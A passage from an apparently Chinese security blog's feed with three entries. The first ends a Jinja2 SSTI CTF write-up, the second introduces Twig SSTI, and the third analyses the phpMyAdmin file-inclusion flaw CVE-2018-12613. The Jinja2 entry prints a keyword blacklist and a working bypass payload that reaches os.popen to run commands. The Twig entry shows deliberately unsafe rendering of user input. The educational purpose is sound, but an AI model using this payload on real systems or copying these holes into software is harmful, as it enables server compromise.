&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	black_list&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#39;__class__&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;__init__&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;7&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;*&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;import&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;os&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;popen&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;__&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;system&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;method&lt;span style="color:#f92672"&gt;==&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;form&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; black &lt;span style="color:#f92672"&gt;in&lt;/span&gt; black_list:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; black &lt;span style="color:#f92672"&gt;in&lt;/span&gt; name:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;				&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;waf!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		result&lt;span style="color:#f92672"&gt;=&lt;/span&gt;render_template_string(name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ok&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; render_template(&lt;span style="color:#e6db74"&gt;&amp;#39;index.html&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__&lt;span style="color:#f92672"&gt;==&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	app&lt;span style="color:#f92672"&gt;.&lt;/span&gt;run(host&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;0.0.0.0&amp;#39;&lt;/span&gt;,port&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;题目给的源码很简单，只是给了一个黑名单，把常见的SSTI所用的关键字给ban了，但是这里只检查POST请求体name参数是否有非法字符，如果我们把这些敏感字符放在GET参数里面，然后在POST请求体里面用&lt;code&gt;request.args&lt;/code&gt;获取GET参数即可绕过。&lt;/p&gt;
&lt;h2 id="payload"&gt;
 payload
 &lt;a class="anchor" href="#payload"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;POST: {{(((lipsum&lt;span style="color:#f92672"&gt;|&lt;/span&gt;attr(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;g))&lt;span style="color:#f92672"&gt;|&lt;/span&gt;attr(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;gi)(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;o))&lt;span style="color:#f92672"&gt;|&lt;/span&gt;attr(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;p)(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;c))&lt;span style="color:#f92672"&gt;|&lt;/span&gt;attr(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;r)()}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GET: g&lt;span style="color:#f92672"&gt;=&lt;/span&gt;__globals__&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;gi&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;__getitem__&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;o&lt;span style="color:#f92672"&gt;=&lt;/span&gt;os&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;p&lt;span style="color:#f92672"&gt;=&lt;/span&gt;popen&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;c&lt;span style="color:#f92672"&gt;=&lt;/span&gt;命令&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;r&lt;span style="color:#f92672"&gt;=&lt;/span&gt;read
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="payload讲解"&gt;
 payload讲解
 &lt;a class="anchor" href="#payload%e8%ae%b2%e8%a7%a3"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;lipsum&lt;/code&gt;：Jinja2内置的全局函数，是一个python函数对象。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;|attr(...)&lt;/code&gt;：Jinja2的过滤器，作用相当于&lt;code&gt;getattr(object, attribute_name)&lt;/code&gt;，用来获取对象的属性或方法名。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;request.args.xxx&lt;/code&gt;：从GET参数中取值。&lt;/p&gt;
&lt;h4 id="第一步获取lipsum的__globals__"&gt;
 第一步：获取&lt;code&gt;lipsum&lt;/code&gt;的&lt;code&gt;__globals__&lt;/code&gt;
 &lt;a class="anchor" href="#%e7%ac%ac%e4%b8%80%e6%ad%a5%e8%8e%b7%e5%8f%96lipsum%e7%9a%84__globals__"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lipsum&lt;span style="color:#f92672"&gt;|&lt;/span&gt;attr(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;g)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="基本语法"&gt;
 基本语法
 &lt;a class="anchor" href="#%e5%9f%ba%e6%9c%ac%e8%af%ad%e6%b3%95"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ object&lt;span style="color:#f92672"&gt;|&lt;/span&gt;attr(&lt;span style="color:#e6db74"&gt;&amp;#34;attribute_name&amp;#34;&lt;/span&gt;) }}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在jinja2模板中，通常使用&lt;code&gt;.&lt;/code&gt;来访问属性，但有局限性：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不能使用变量作为属性名&lt;/li&gt;
&lt;li&gt;不能访问名称中包含特殊字符的属性&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这样我们就能获取到&lt;code&gt;lipsum&lt;/code&gt;函数对象的g属性(g是我们可以控制的，由GET参数决定)。如果我们在GET参数中带上&lt;code&gt;?g=__globals__&lt;/code&gt;，我们就能获取&lt;code&gt;lipsum.__globals__&lt;/code&gt;这个字典。&lt;/p&gt;
&lt;h4 id="第二步从__globals__中获取某个成员"&gt;
 第二步：从&lt;code&gt;__globals__&lt;/code&gt;中获取某个成员
 &lt;a class="anchor" href="#%e7%ac%ac%e4%ba%8c%e6%ad%a5%e4%bb%8e__globals__%e4%b8%ad%e8%8e%b7%e5%8f%96%e6%9f%90%e4%b8%aa%e6%88%90%e5%91%98"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(lipsum&lt;span style="color:#f92672"&gt;|&lt;/span&gt;attr(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;g))&lt;span style="color:#f92672"&gt;|&lt;/span&gt;attr(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;gi)(request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args&lt;span style="color:#f92672"&gt;.&lt;/span&gt;o)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="语法分解"&gt;
 语法分解
 &lt;a class="anchor" href="#%e8%af%ad%e6%b3%95%e5%88%86%e8%a7%a3"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;第一部分：&lt;code&gt;|attr(request.args.gi)&lt;/code&gt;&lt;/p&gt;</description></item><item><title>SSTI之twig</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/ssti/twig%E6%A8%A1%E6%9D%BF%E4%B8%8B%E7%9A%84ssti/</link><pubDate>Sat, 11 Apr 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/ssti/twig%E6%A8%A1%E6%9D%BF%E4%B8%8B%E7%9A%84ssti/</guid><description>&lt;h1 id="twig与ssti"&gt;
 Twig与SSTI
 &lt;a class="anchor" href="#twig%e4%b8%8essti"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="twig简介"&gt;
 twig简介
 &lt;a class="anchor" href="#twig%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;twig是一个PHP的现代模板引擎，广泛用于Symfony框架。&lt;/p&gt;
&lt;h3 id="twig的三种基础语法结构"&gt;
 twig的三种基础语法结构
 &lt;a class="anchor" href="#twig%e7%9a%84%e4%b8%89%e7%a7%8d%e5%9f%ba%e7%a1%80%e8%af%ad%e6%b3%95%e7%bb%93%e6%9e%84"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{{...}}&lt;/code&gt;：用于输出变量或表达式的值。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-twig" data-lang="twig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hello,&lt;span style="color:#75715e"&gt;{{&lt;/span&gt;user.name&lt;span style="color:#75715e"&gt;}}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{%...%}&lt;/code&gt;：用于执行逻辑控制，如 if 判断，for 循环&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-twig" data-lang="twig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;{# 判断是否显示 #}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;{%&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; user.is_admin &lt;span style="color:#75715e"&gt;%}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;a href=&amp;#34;/admin&amp;#34;&amp;gt;管理后台&amp;lt;/a&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;{%&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;endif&lt;/span&gt; &lt;span style="color:#75715e"&gt;%}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{{#...#}}&lt;/code&gt;：用于写注释，在最终的HTML源码中是看不到的&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-twig" data-lang="twig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;{# 这是给程序员看的备注，用户看不见 #}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;twig也有沙箱模式，默认禁用危险函数（如system），但需要手动启用完整沙箱限制。&lt;/p&gt;
&lt;h2 id="开发中的代码样例"&gt;
 开发中的代码样例
 &lt;a class="anchor" href="#%e5%bc%80%e5%8f%91%e4%b8%ad%e7%9a%84%e4%bb%a3%e7%a0%81%e6%a0%b7%e4%be%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="安全的样例"&gt;
 安全的样例
 &lt;a class="anchor" href="#%e5%ae%89%e5%85%a8%e7%9a%84%e6%a0%b7%e4%be%8b"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// PHP控制器逻辑（安全用法）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;require_once&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;vendor/autoload.php&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$loader &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;\Twig\Loader\ArrayLoader&lt;/span&gt;([
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;index&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Hello, {{ name }}!&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$twig &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;\Twig\Environment&lt;/span&gt;($loader);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;htmlspecialchars&lt;/span&gt;($_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;]); &lt;span style="color:#75715e"&gt;// 输入过滤
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; $twig&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;index&amp;#39;&lt;/span&gt;, [&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; $name]);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;为什么这样是安全的？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$twig-&amp;gt;render('index', ['name' =&amp;gt; $name])&lt;/code&gt;在这段代码中，&lt;code&gt;'index'&lt;/code&gt;让twig去加载预先写好的模板文件，这个文件内容是服务器上硬编码的，用户无法修改。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;['name' =&amp;gt; $name]&lt;/code&gt;这里则是告诉twig把这个变量的值直接填充到模板里的&lt;code&gt;{{name}}&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id="不安全的样例"&gt;
 不安全的样例
 &lt;a class="anchor" href="#%e4%b8%8d%e5%ae%89%e5%85%a8%e7%9a%84%e6%a0%b7%e4%be%8b"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// PHP控制器逻辑（危险操作！）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$twig &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;\Twig\Environment&lt;/span&gt;($loader);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$user_input &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;content&amp;#39;&lt;/span&gt;]; &lt;span style="color:#75715e"&gt;// 未过滤直接传入模板
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; $twig&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;($user_input, []); &lt;span style="color:#75715e"&gt;// 直接渲染用户输入
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;为什么这样不安全？&lt;/p&gt;</description></item><item><title>phpMyAdmin文件包含漏洞(CVE-2018-12613)</title><link>https://s0lowalker.github.io/docs/phpmyadmin%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%ABcve-2018-12613/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/phpmyadmin%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%ABcve-2018-12613/</guid><description>&lt;h1 id="phpmyadmin文件包含漏洞"&gt;
 phpMyAdmin文件包含漏洞
 &lt;a class="anchor" href="#phpmyadmin%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="phpmyadmin简介"&gt;
 phpMyAdmin简介
 &lt;a class="anchor" href="#phpmyadmin%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="什么是phpmyadmin"&gt;
 什么是phpMyAdmin
 &lt;a class="anchor" href="#%e4%bb%80%e4%b9%88%e6%98%afphpmyadmin"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;phpMyAdmin是一个基于网页的 MySQL / MariaDB 数据库可视化管理工具，使用PHP编写。phpMyAdmin最大的作用就是让我们不用敲复杂的命令行也能轻松管理数据库。它提供一个直观的图形界面，所有操作都可以在浏览器点击鼠标完成。&lt;/p&gt;
&lt;h3 id="phpmyadmin能干什么"&gt;
 phpMyAdmin能干什么
 &lt;a class="anchor" href="#phpmyadmin%e8%83%bd%e5%b9%b2%e4%bb%80%e4%b9%88"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;它的功能几乎覆盖数据库管理的所有方面：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基本操作：创建、浏览、编辑、删除数据库、数据表、字段和索引。&lt;/li&gt;
&lt;li&gt;执行 SQL 语句、通过表单搜索数据、批量导入导出数据（支持 CSV、SQL、XML、PDF 等多种格式）。&lt;/li&gt;
&lt;li&gt;权限与维护：管理 MySQL 用户账号和权限，检查和修复数据表，追踪数据库变更。&lt;/li&gt;
&lt;li&gt;其他高级功能：支持创建数据库关系图（PDF）、管理存储过程和触发器、支持 80 多种语言等。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cve-2018-12613"&gt;
 CVE-2018-12613
 &lt;a class="anchor" href="#cve-2018-12613"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="漏洞分析"&gt;
 漏洞分析
 &lt;a class="anchor" href="#%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;在index.php中出现问题：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;empty&lt;/span&gt;($_REQUEST[&lt;span style="color:#e6db74"&gt;&amp;#39;target&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;is_string&lt;/span&gt;($_REQUEST[&lt;span style="color:#e6db74"&gt;&amp;#39;target&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/^index/&amp;#39;&lt;/span&gt;, $_REQUEST[&lt;span style="color:#e6db74"&gt;&amp;#39;target&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;in_array&lt;/span&gt;($_REQUEST[&lt;span style="color:#e6db74"&gt;&amp;#39;target&amp;#39;&lt;/span&gt;], $target_blacklist)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Core&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;checkPageValidity&lt;/span&gt;($_REQUEST[&lt;span style="color:#e6db74"&gt;&amp;#39;target&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;include&lt;/span&gt; $_REQUEST[&lt;span style="color:#e6db74"&gt;&amp;#39;target&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;exit&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;前面三条不用关注，没什么作用，第四条规定target不能在黑名单中，也就是import.php和export.php。&lt;/p&gt;
&lt;p&gt;第五条&lt;code&gt;Core::checkPageValidity()&lt;/code&gt;方法在libraries\classes\Core.php，源码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;checkPageValidity&lt;/span&gt;(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;$page, &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt; $whitelist &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;empty&lt;/span&gt;($whitelist)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $whitelist &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;self&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;$goto_whitelist;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;($page) &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;is_string&lt;/span&gt;($page)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;in_array&lt;/span&gt;($page, $whitelist)) {
